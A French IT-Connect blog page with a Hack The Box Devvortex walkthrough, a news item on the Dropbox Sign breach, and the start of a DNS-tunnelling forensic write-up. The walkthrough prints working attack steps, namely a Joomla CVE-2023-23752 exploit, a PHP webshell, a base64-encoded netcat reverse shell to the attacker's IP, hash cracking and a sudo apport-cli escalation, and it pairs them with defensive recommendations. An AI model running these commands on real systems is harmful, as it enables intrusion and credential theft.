Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierIT-Connect

Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger

3 mai 2024 à 08:00

I. Présentation

Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesLinux, web, Joomla, MySQL
Outils utilisésnmap, ffuf, JohnTheRipper, searchsploit, CVE, sudo

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box Devvortex

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242

Nmap scan report for 10.10.11.242
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :

$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts

Il s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

$ ffuf -w $s/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" --fc 302
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 63ms]

La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.

Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :

GET / HTTP/1.1
host: FUZZ.devvortex.htb

En identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :

echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts

Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.

Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.

B. Exploitation d'un Joomla non à jour

Voyons à quoi ressemble ce site web en développement :

Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :

$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]

Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :

Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning

Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.

C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.

Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :

$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -                                                                                                  
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>admin@joomla.org</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2019 Open Source Matters, Inc.</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>4.2.6</version>
  <creationDate>2022-12</creationDate>

Avec cette version, nous pouvons effectuer une recherche sur les vulnérabilités connues grâce à searchsploit (voir Recherche rapide dans la base Exploit-DB avec searchsploit) :

La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :

$ nuclei -u http://dev.devvortex.htb/                                                                                                                                                                                  
                                                                                                                                                                                                                                      
[...]                                                                                                                                                                                  
[CVE-2023-23752] [http] [medium] http://dev.devvortex.htb/api/index.php/v1/config/application?public=true                                                                                                                             
[...]                                                                                                                                                                     
[joomla-detect:version] [http] [info] http://dev.devvortex.htb/administrator/manifests/files/joomla.xml [4.2.6]                                                                                                                       
[...]

En se rendant sur cette URL (ou en utilisant le script indiqué par searchsploit), nous obtenons effectivement une belle fuite d'informations :

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

C. Exécution de commande sur le système

L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin

Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).

Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"

$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=echo%20cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2LjIxIDkwMDEgPi90bXAvZgo=|base64%20-d|bash"

Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 9001 >/tmp/f

Cette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.

L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.

Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :

$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data

D. Vol des identifiants de l'utilisateur logan

Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :

Technique d'attaque (MITRE ATT&CK) : T1049 - System Network Connections Discovery

$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          23392      883/nginx: worker p 
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        22905      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          24155      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      114        25609      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      114        25611      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          23393      883/nginx: worker p 
tcp6       0      0 :::22                   :::*                    LISTEN      0          24166      -           

Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :

Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts

$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id      name    username        email   password        block   sendEmail       registerDate    lastvisitDate   activation      params  lastResetTime   resetCount      otpKey  otep    requireReset    authProvider
649     lewis   lewis   lewis@devvortex.htb     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u    0       1       2023-09-25 16:44:24     2023-11-26 10:34:39     0               NULL    0                       0
650     logan paul      logan   logan@devvortex.htb     $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12    0       0       2023-09-26 19:15:42     NULL            {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"}     NULL    0                       0

Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.

Le code d'identification d'un hash, tel que le $2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, $2y$ indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.

Vous trouverez une liste très complète des types de hash ainsi que des exemples de format sur le site d'hashcat : https://hashcat.net/wiki/doku.php?id=example_hashes

Nous aurions également pu avoir cette information en utilisant l'outil hashid :

$ hashid '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                      
Analyzing '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12'                                                                                                                                                                    
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 

Utilisons l'outil johntheripper pour casser ce hash et retrouver le mot de passe qui a permis de le générer :

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably

Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.

Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.

Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.

Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh logan@devvortex.htb
logan@devvortex:~$ cat user.txt
8[REDACTED1

La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.

E. Élévation de privilèges via apport-cli et sudo

Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :

Technique d'attaque (MITRE ATT&CK) : T1033 - System Owner/User Discovery

logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli

Je ne connais pas du tout cette commande, regardons son aide avec l'option --help:

logan@devvortex:~$ /usr/bin/apport-cli --help           
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]    
           
Options:   
  -h, --help            show this help message and exit 
  -f, --file-bug        Start in bug filing mode. Requires --package and an           
         optional --pid, or just a --pid. If neither is given,         
         display a list of known symptoms. (Implied if a single        
         argument is given.)             
[...]
  -v, --version         Print the Apport version number.      

logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11

La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :

Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :

Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.

https://gtfobins.github.io/

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :

Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryUtilisation de nmap pour découvrir les services exposés sur le réseau
T595.003 - Active Scanning: Wordlist ScanningUtilisation de ffuf pour énumérer les vhost du service web
T1595 - Active Scanning: Vulnerability ScanningIdentification de la version et recherche des CVE associées
T1190 - Exploiting Public-Facing ApplicationExploitation de la CVE-2023-23752 pour récupérer des informations d'authentification
T1078.003 - Valid Accounts: Local AccountsRécupération et découverte d'identifiants dans un fichier sqlite.
T1021.004 - Remote Services: SSHConnexion au serveur SSH compromis
T1059.004 - Command and Scripting Interpreter: Unix ShellAjout d'un plugin PHP Joomla en vue d'obtenir une exécution de commande sur le système
T1049 - System Network Connections DiscoveryRevue des services en écoute sur la cible via netstat et détection d'un service MySQL
T1078.003 - Valid Accounts: Local AccountsConnnexion au service MySQL via les identifiants préalablement récupérés et récupération d'un hash du mot de passe de l'utilisateur logan
T1110.002 - Brute Force: Password CrackingCassage du hash avec johntheripper
T1021.004 - Remote Services: SSHAuthentification en tant que logan sur le service SSH
T1033 - System Owner/User DiscoveryDécouverte des dérogations sudo pour l'utilisateur courant
T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo CachingExploitation de l'utilisation cachée de less par le binaire apport-cli via sudo

IV. Notions abordées

A. Côté attaquant

L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.

Il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la plus complète possible de la surface d'attaque d'un système, d'un simple script ou d'un réseau entier. Savoir identifier une version exacte et rechercher les CVE associées peut paraitre simple, mais il est très facile de passer à côté de ce type d'information pendant la phase d'énumération. Phase durant laquelle nous avons en général un grand nombre d'informations à vérifier et à collecter.

La collecte et la récupération d'identifiants est également une opération qui doit être réalisée avec minutie. Je vous recommande pendant vos challenges et prestations de scrupuleusement stocker les identifiants récupérés. Également, il est important de réutiliser ces identifiants sur tous les services croisés. La réutilisation des mots de passe entre différents services est quasiment la norme (malheureusement) en entreprise, sans compter les services de SSO qui sont faits pour n'avoir qu'un mot de passe à retenir. Cela peut sembler simple, mais la collecte d'identifiants étant réalisée tout au long de l'attaque, il est facile d'oublier de réutiliser ceux-ci sur tous les services disponibles.

Enfin, connaitre les bonnes ressources est primordiale. Vu le nombre d'informations stockées sur https://gtfobins.github.io/, vous constaterez vite qu'il est impossible de tout retenir et encore moins de se maintenir à jour. Plutôt que de retenir 1 000 informations, il est parfois plus efficace se rappeler les sources où les trouver.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : nous pouvons recommander l'application stricte de la directive n°34 du Guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information. Les applicatifs et systèmes exposés sur le réseau ou sur Internet sont d'autant plus concernés par ce besoin de mise à jour rapide puisqu'ils peuvent être exploités par les attaquants dès la parution d'un code d'exploitation.

Recommandation n°2 : il doit également être recommandé d'utiliser un autre serveur web que le serveur web de production, exposé à internet, pour héberger le site web en développement. Les services en développement sont souvent moins bien protégés et sécurisés que les services en production (la sécurité est souvent le dernier wagon à être rattaché à un projet). Ces environnements en développement sont dans la réalité des cibles très recherchées par les attaquants et ne doivent donc pas être exposés à Internet et être strictement cloisonnés des services et réseau de production.

Recommandation n°3 : Il peut également être recommandé la mise en place d'une politique de mot de passe plus robuste. Pouvoir casser un hash, généré par algorithme de calcul robuste comme bcrypt, en quelques secondes via la wordlist la plus commune est un signal fort que les mots de passe utilisateur ne sont pas suffisamment contraints dans leur complexité. Cela va dans le sens de la directive n°10 du Guide d'hygiène de l'ANSSI : Définir et vérifier des règles de choix et de dimensionnement des mots de passe. Le guide Recommandations relatives à l'authentification multifacteur et aux mots de passe, de l'ANSSI, plus spécifique et complet sur ce sujet, peut également être une ressource à conseiller.

V. Conclusion

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord :).

Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Devvortex : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate !

3 mai 2024 à 06:06

Vous utilisez Dropbox ? Mauvaise nouvelle : un pirate informatique est parvenu à s'introduire sur le système de Dropbox Sign et il a volé des informations correspondantes aux clients de l'entreprise américaine. Faisons le point.

Dropbox est mondialement connue pour son service de stockage et de partage de fichiers en ligne similaire à OneDrive, Google Drive, etc... Pourtant, ce n'est pas le seul service proposé puisqu'il y en a d'autres, notamment Dropbox Sign. Anciennement appelé HelloSign, il s'agit d'un service en ligne de signature électronique. C'est ce service qui est impacté par l'incident de sécurité.

En effet, le 24 avril 2024, Dropbox a détecté un accès non autorisé à l'environnement de production de son service Dropbox Sign. Un pirate est parvenu à mettre la main sur des identifiants valides ! Grâce à ce compte compromis, Dropbox précise que le pirate a pu accéder à la base de données clients.

Cet incident de sécurité affecte uniquement Dropbox Sign : "D'un point de vue technique, l'infrastructure de Dropbox Sign est largement distincte des autres services Dropbox.", peut-on lire sur le site de Dropbox.

Que contient cette base de données ?

Cette base de données contient des informations sensibles au sujet des utilisateurs, dont le nom d'utilisateur, l'adresse e-mail, le numéro de téléphone, ainsi que le mot de passe du compte. Le précieux sésame n'est pas accessible directement en clair, car une fonction de hachage cryptographique est utilisée avant de stocker l'information.

Ce n'est pas tout ! Le cybercriminel a pu également accéder aux réglages du compte, aux données liées à l'authentification multifacteurs, aux clés d'API et aux jetons oAuth. Des informations précieuses pour faire le pont avec d'autres applications et services.

Cette fuite de données concerne aussi les utilisateurs invités, qui n'ont pas forcément un compte Dropbox Sign : "Pour ceux qui ont reçu ou signé un document via Dropbox Sign, mais qui n'ont jamais créé de compte, les adresses électroniques et les noms ont également été exposés.", peut-on lire sur le site de Dropbox.

Comment se protéger ?

Si vous utilisez Dropbox Sign, vous devez changer votre mot de passe dès que possible et effectuer une nouvelle configuration de l'application MFA pour utiliser une nouvelle clé de génération des codes TOTP. Si vous utilisez ce mot de passe sur d'autres sites, nous vous recommandons de le renouveler également.

De son côté, Dropbox a déjà pris des mesures pour protéger les comptes de ses utilisateurs : "En réponse, notre équipe de sécurité a réinitialisé les mots de passe des utilisateurs, déconnecté les utilisateurs de tous les appareils qu'ils avaient connectés à Dropbox Sign, et coordonne la rotation de toutes les clés API et des jetons OAuth."

Enfin, comme toujours, soyez vigilant, car ces informations pourraient être utilisées pour mettre en place une campagne de phishing ciblée.

Source

The post Piratage de Dropbox Sign : e-mails, mots de passe, clés d’API, etc… volés par le pirate ! first appeared on IT-Connect.

Hack the box – Sherlocks (forensic) : découverte et solution de Litter

24 avril 2024 à 08:00

I. Présentation

Je vous propose dans cet article un writeup du Sherlocks Litter proposé par Hack The Box. Cette investigation nous permettra notamment de manipuler Wireshark pour explorer un cas de protocol tunneling via le DNS : une technique utilisée pour faire communiquer discrètement un système compromis avec le serveur de contrôle distant d'un attaquant.

Les Sherlocks sont des challenges d'investigation numérique/forensic mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Litter, de difficulté "Facile". Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et des analystes en cybersécurité.

Lien du challenge : Hack The Box - Sherlocks - Litter

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordéesWindows, DNS, protocol tunneling
Outils utilisésWireshark, python

Retrouvez tous nos articles Hack The Box via ce lien :

II. Découverte de l'archive

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

D'après les éléments de contexte qui nous sont fournis, l'hôte ciblé semble être utilisé pour tout et n'importe quoi et par n'importe qui. Cela ne va certainement pas nous aider à comprendre ce qui est légitime de ce qui ne l'est pas. Également, nous apprenons que des données de l'entreprise y ont été volées.

Nous commençons donc par ouvrir l'archive à sur notre Kali Purple fraîchement installée. À l'intérieur, un fichier Wireshark, un célèbre outil d'analyse réseau :

III. Investigation numérique : le cas Litter

A. Tâche n°1: Identifier le protocole utilisé

  • Énoncé - Task 1 : At a glance, what protocol seems to be suspect in this attack?

La première tâche consiste à identifier le protocole qui semble avoir été utilisé pour la réalisation de l'attaque. Wireshark nous permet d'avoir des statistiques intéressantes concernant la volumétrie des protocoles au sein d'un même fichier ".pcap" :

Si l'on cherche les protocoles les plus utilisés, 4 candidats sont intéressants : les protocoles UDP "QUIC IETF" et "DNS", ainsi que les protocoles TCP "TLS" et "HTTP".

Après quelques recherches, je comprends que QUIC IETF est censé être un "nouveau" protocole de transport (comme UDP ou TCP) : QUIC: A UDP-Based Multiplexed and Secure Transport. Intéressant, mais un peu trop obscure pour un challenge "facile". Il semble également complexe d'investiguer sur des échanges chiffrés TLS. Ce qui nous oriente sur deux candidats : HTTP ou DNS.

Si l'on effectue un filtre sur le protocole HTTP avec la fonctionnalité "Conversations" de Wireshark, nous pouvons très rapidement isoler les hôtes avec lesquels des échanges HTTP ont eu lieu :

On peut noter que l'adresse IP avec laquelle le serveur compromis a le plus discuté est "13.107.4.50". Les autres échanges comportent trop peu de paquets pour nous intéresser. Renseignons-nous sur cette adresse IP à l'aide de la commande "whois" :

Notre hôte compromis à interrogé un point d'entrée "/msdownload/" sur une adresse IP appartenant à Microsoft. De toute évidence, il s'agit d'échanges en rapport avec les mises à jour Windows.

Attention : dans la réalité, les attaquants peuvent héberger ou utiliser des services Microsoft/Cloud pour leurs actions malveillantes, ils profitent alors du crédit et de la confiance accordés à ces services/IP/plateformes par les blues team et les solutions de sécurité. Je pense notamment à l'hébergement de service C&C (Command and Control) par Azure ou l'utilisation de machines Azure compromises comme intermédiaires.

Exemple : T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage

Il ne nous reste donc plus que le protocole DNS comme candidat !

B. Tâche n°2 : Identifier l'IP suspecte

  • Énoncé - Task 2 : There seems to be a lot of traffic between our host and another, what is the IP address of the suspect host?

Maintenant que nous savons quel protocole a principalement été utilisé (DNS), et bien que ce dernier nous paraisse inoffensif au premier abord, tentons d'identifier quelle est l'adresse IP suspecte. Nous pouvons ici à nouveau utiliser la fonctionnalité "Conversations" de Wireshark après avoir effectué un filtre sur le protocole DNS :

Nous pouvons clairement voir que l'une des adresses IP a beaucoup plus discuté que les autres au travers le protocole DNS. Il est d'ailleurs suspect en soi qu'un tel volume de paquet DNS ait été échangé, il s'agit d'un protocole d'ordinaire plutôt "léger" dans la mesure où seuls quelques éléments textes sont échangés.

L'adresse IP "192.168.157.145" est donc celle de notre suspect.

C. Tâche n°3 : une commande via DNS ?

  • Énoncé - Task 3 : What is the first command the attacker sends to the client?

Il est maintenant temps de s'intéresser au contenu de ces échanges DNS. Commençons par isoler les paquets en appliquant un filtre sur ce protocole et l'IP suspecte :

DNS && (ip.addr==192.168.157.144 && ip.addr==192.168.157.145)

Ces échanges paraissent pour le moins inhabituels. Les noms DNS sont la plupart du temps intelligibles, et ils ne sont jamais aussi long. Ici, ils semblent être constitués uniquement des alphabets suivants avec aucun mot intelligible à part "microsofto365.com" :

  • 1-9
  • a-f

Voilà qui nous rappelle quelque chose : de l'hexadécimal. Je récupère au hasard une requête TXT et copie le contenu de la requête via la fonction Copy Value de WIreshark (pensez à bien faire un clic droit sur le champ exact à copier dans le paquet ciblé) :

Je tente ensuite de décoder l'hexadécimal à l'aide de l'outil en ligne "CyberChef".

Cyberchef se présente comme "The Cyber Swiss Army Knife", c'est un outil très pratique proposé par le GCHQ (services de renseignement britannique) qui permet d'encoder/décoder ou chiffrer/déchiffrer des données au sein d'une application web intuitive. Cela permet de tenter rapidement tout un tas de format de conversions, d'encodage/decodage ou d'algorithme de chiffrement sur des données sans saisir la moindre ligne de commande : https://gchq.github.io/CyberChef/

